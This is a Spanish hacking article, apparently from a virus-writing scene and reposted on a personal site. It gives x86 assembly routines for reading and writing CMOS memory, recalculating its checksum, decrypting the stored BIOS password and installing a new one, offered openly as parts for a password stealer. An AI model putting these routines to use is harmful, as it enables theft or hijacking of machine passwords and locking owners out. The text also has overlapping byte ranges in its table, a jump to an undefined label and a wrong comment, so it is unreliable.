Cómo trabajar con la CMOS.


  Como trabajar con la CMOS

 Bueno, bueno, bueno... hay veces  que no nos damos cuenta de  la cantidad
 de puertas abiertas  y poco (o nada) concurridas  que tenemos en cuanto a
 la programaci¢n.

 Una de estas puertas es la CMOS, una peque¤a zona de nuestro ordenador. Y
 como peque¤a, tambi‚n fr gil... y sin explorar.


 00-0dh   Reloj de tiempo real
 0eh      Byte de comprobaci¢n de encendido
 0fh      Byte de comprobaci¢n de reseteo
 10h      Tipo de diskettera                  ÄÄ¿
 11h      Reservado                             ³
 12h      Tipo de disco duro                    ³
 13h      Reservado                             ³
 14h      Byte de hardware                      ³
 15h-16h  Tama¤o de la memoria base             ³
 17h-18h  Tama¤o de la memoria adicional        ³
 19h      Tipo de disco duro (HD 1)             ³
 1ah      Tipo de disco duro (HD 2)             ³
 1bh-2dh  Reservados                          ÄÄÙ
 2eh-2fh  Checksum de la CMOS (10h-20h)
 30h-31h  Tama¤o de la memoria adicional
 32h      Siglo actual (en BCD; estamos en el 19h) :)
 33h      Informaci¢n adicional
 34h      Flag de petici¢n de password
 34h-37h  Reservados
 3eh-3dh  Password de la CMOS
 3eh-3fh  Checksum de la CMOS (34h-3dh, 40h-6fh)


 Hay m s bytes, y seguro que  algunos de los 'reservados' tienen ya un uso
 individual... esto est  testeado en una AMI BIOS. El caso es que, si que-
 remos  tocar los cojones, como dice el t¡tulo del informe, lo m s aconse-
 jable ser  entrarle a la password directamente.

 Podemos emplear los bytes reservados de la CMOS en otras aplicaciones m s
 sutiles, pero eso tambi‚n me  lo 'reservo' ;) yo para mi pr¢xima criatura
 artificial.

 Bien, como hemos visto, la password  est  almacenada en los bytes que van
 desde 3eh hasta 3dh. Y, por supuesto, la password est  encriptada :) Otra
 cosa muy importante que tenemos que tener en cuenta es la presencia de un
 byte, el 34h, el correspondiente al flag de petici¢n de password.

 ¨Y qu‚ co¤o es eso? pues muy  f cil... este byte contiene en su bit 6 una
 informaci¢n imprescindible. Si este bit est  puesto a 1, el ordenador so-
 licitar  la password  cada vez que se arranque. En caso de estar a 0, tan
 s¢lo la pedir  cuando el usuario vaya a entrar a la CMOS.

 Bueno, supongamos que un ordenador  no tiene password (3eh-3dh estar¡an a
 cero), o que ya tiene una, pero se la queremos cambiar... aqu¡ nos encon-
 tramos con el primer y £nico problema que se nos presenta al manipular la
 CMOS... el maldito checksum.

 Tenemos dos  checksums, de 16 bits; uno en 2eh-2fh, que 'protege' todo lo
 que  va desde 10h hasta 20h. El otro, el que nos incumbe para el rollo de
 las passwords, que 'protege' desde  34h-3dh hasta 40h-6fh, y que est  al-
 macenado en 3eh (byte alto) y 3fh (byte bajo).

 Lo m s curioso es que el byte de checksum no est  protegido, con lo cual,
 tenemos v¡a libre para hacer todas las modificaciones que queramos, y as¡
 evitar el puto 'CMOS checksum failure' al arrancar.

 Ok, todo comprendido... tampoco  tiene m s  explicaci¢n... se modifica lo
 que nos interesa y, si est  'protegido', recalculamos el checksum y a vo-
 lar. Ahora lo que nos falta es c¢digo, pero tambi‚n hay de eso :)

 Os presento una serie de  rutinillas interesantes para hacer manipulacio-
 nes en la CMOS a bajo nivel. Ahora no ten‚is excusa para no poder progra-
 mar un robapasswords :)

 El c¢digo est  bastante guarro, pero es m s que suficiente como para con-
 trolar el asunto y desarrollarlo cada uno por su cuenta con m s detalle y
 detenimiento. Os los pongo como subrutinas, porque as¡ os ser  m s c¢modo
 para enlazar c¢digo en los ejemplos.


 ; Lector de CMOS ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 ; Par metros: al=direcci¢n de la CMOS
 ; Devuelve  : al=byte le¡do

 read_cmos:      and     al,7fh          ; Operaci¢n l¢gica con 7fh
                 out     70h,al          ; Out a 70h
                 jmp     $+2             ; Delay para input/output
                 jmp     $+2             ; Delay para input/output
                 in      al,71h          ; Obtenemos byte en AL
                 ret                     ; Volvemos de la llamada


 ; Escritor de CMOS :) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 ; Par metros: al=direcci¢n de la CMOS
 ;             dh=byte a escribir
 ; Devuelve  : el byte escrito, cajones

 write_cmos:     and     al,7fh          ; Operaci¢n l¢gica con 7fh
                 out     70h,al          ; Out a 70h
                 jmp     $+2             ; Delay para input/output
                 mov     al,dh           ; Byte a escribir en AL
                 out     71h,al          ; Out a 71h
                 ret                     ; Volvemos de la llamada


 ; Controlador de checksum (3eh-3fh) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 ; Par metros: a fre¡r esp rragos, co¤o
 ; Devuelve  : el checksum correcto, ¨¨¨te parece poco??? ¨¨¨ein???

 checksum:       xor     ah,ah           ; Ponemos AH a cero
                 mov     bl,34h          ; Byte 34h en BL
                 mov     cx,(3dh-34h+1)  ; Primer check+1 en CX
                 cwd                     ; Y DX a cero

 first:          mov     al,bl           ; Pasamos byte 34h a AL
                 call    read_cmos       ; Lo leemos de la CMOS
                 add     dx,ax           ; Sumamos AX y DX
                 inc     bl              ; Apuntamos al siguiente byte
                 loop    first           ; Y repetimos el proceso

                 mov     bl,40h          ; Byte 40h en BL
                 mov     cx,(6fh-40h+1)  ; Segundo check+1 en CX

 second:         mov     al,bl           ; Pasamos byte 40h a AL
                 call    read_cmos       ; Lo leemos de la CMOS
                 add     dx,ax           ; Sumamos AX y DX
                 inc     bl              ; Apuntamos al siguiente byte
                 loop    second          ; Y repetimos el proceso

                 mov     al,3eh          ; Escribimos byte alto del
                 call    write_cmos      ; checksum en 3eh

                 mov     al,3fh          ; Escribimos byte bajo del
                 xchg    dl,dh           ; checksum en 3fh
                 call    write_cmos      ; Y volvemos de la llamada
                 ret


 ; Encriptador de passwords ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 ; Par metros: al=byte a encriptar
 ; Devuelve  : al=byte encriptado

 encrypt:        test    al,0c3h         ; Comprobamos byte a encriptar
                 jp      rotate_byte     ; ¨Par o impar?
                 stc                     ; Impar, set direction flag

 rotate:         rcr     al,1            ; Rotamos el byte con 1
                 ret                     ; Y volvemos de la llamada


 ; Desencriptador de la password de la CMOS ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 ; Par metros: es:di=espacio para la password
 ; Devuelve  : es:di=la password en cadena ASCIIZ
 ;             si el primer byte es cero, no hay password

 decrypt:        cld                     ; Clear direction flag
                 mov     dh,37h          ; 37h=byte anterior a la password
                 mov     al,dh           ; de la CMOS -> en AL y DH
                 call    read_cmos       ; Lo leemos

                 and     al,0f0h         ; Operaci¢n l¢gica con f0h
                 mov     bl,al           ; Movemos AL a BL
 next:           cmp     dh,3dh          ; ¨Llegamos al final de la pw?
                 je      exit            ; En caso afirmativo, salimos

                 inc     dh              ; Incrementamos DH
                 mov     al,dh           ; Lo pasamos a AL
                 call    read_cmos       ; Y leemos ese byte de la CMOS

                 cmp     al,0            ; ¨AL=0?
                 jz      exit            ; En ese caso, salimos

                 xor     dl,dl           ; Ponemos DL a cero
                 xchg    al,bl           ; Intercambiamos AL y BL
 one:            call    encrypt         ; Encriptamos byte en AL

                 inc     dl              ; Incrementamos DL
                 cmp     al,bl           ; ¨AL=BL?
                 jne     one             ; Si no es igual, vuelve

                 mov     byte ptr es:[di],dl ; DL -> ES:DI
                 inc     di                  ; Incrementamos DI
                 jmp     short next      ; Repetimos bucle

 exit:           xor     al,al           ; Dejamos todo a cero y
                 stosb                   ; hacemos mutis por el foro :)
                 ret


 ; Instalador de password para la CMOS ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 ; Par metros: ds:si=password a instalar, de seis caracteres m ximo
 ; Devuelve  : la password instalada, ¨le parece poco al se¤orito?

 write_pw:       mov     cx,6            ; Cantidad=6 bytes
                 mov     bl,37h          ; Byte preinicio=37h
                 mov     al,bl           ; Lo pasamos a AL como par metro
                 call    read_cmos       ; Y lo leemos de la CMOS

                 and     al,0f0h         ; Operaci¢n l¢gica con f0h
                 mov     bh,al           ; Lo pasamos a BH
                 lodsb                   ; Load string of bytes

 two:            cmp     al,0            ; ¨AL=0?
                 jnz     three           ; Si no lo es, salta a 'three'

                 mov     bh,al           ; Pasamos AL a BH y saltamos
                 jmp     four            ; a la etiqueta 'four'

 three:          xchg    al,bh           ; Intercambiamos AL y BH
                 call    encrypt         ; Encriptamos byte en AL

                 xchg    bh,al           ; Los intercambiamos de nuevo
                 dec     al              ; Decrementamos AL
                 jnz     three           ; Si no es cero, salta a 'three'

 four:           mov     dh,bh           ; Pasamos byte encriptado a DH
                 inc     bl              ; BL=direcci¢n donde escribir
                 mov     al,bl           ; Pasamos BL a AL (par metro)
                 call    write_cmos      ; Escribimos en la CMOS
                 loop    two             ; Ejecutamos el loop

                 call    checksum        ; Restauramos el checksum
                 ret                     ; Y volvemos de la llamada


 Bueno, pues esto es lo que dio de s¡ (al menos de momento) la CMOS. El a-
 sunto es 'completable', y os aseguro que sacar‚  un  buen partido de esta
 nueva mina... y si no, al tiempo.

 Espero que os  haya gustado y que  no me ech‚is en cara mi originalidad a
 la hora de poner nombres a las etiquetas O:) Comprended que a estas horas
 uno no est  muy l£cido. Lo mismo digo en cuanto a la pavisosez de los co-
 mentarios, que parece como si los hubiese hecho un robot :)


 (c) Klingon tech enterprises
  Viral software development                                            ã

[Indice general] - [Sexo] - [linux] - [humor] - Chat entre usuarios - [miscelanea] - [Novedades] -

Para hacerme llegar tus comentarios, sugerencias o si deseas colaborar con esta página, por favor, envíame un E-mail a marqueze (arroba) marqueze.net Web: http://www.marqueze.net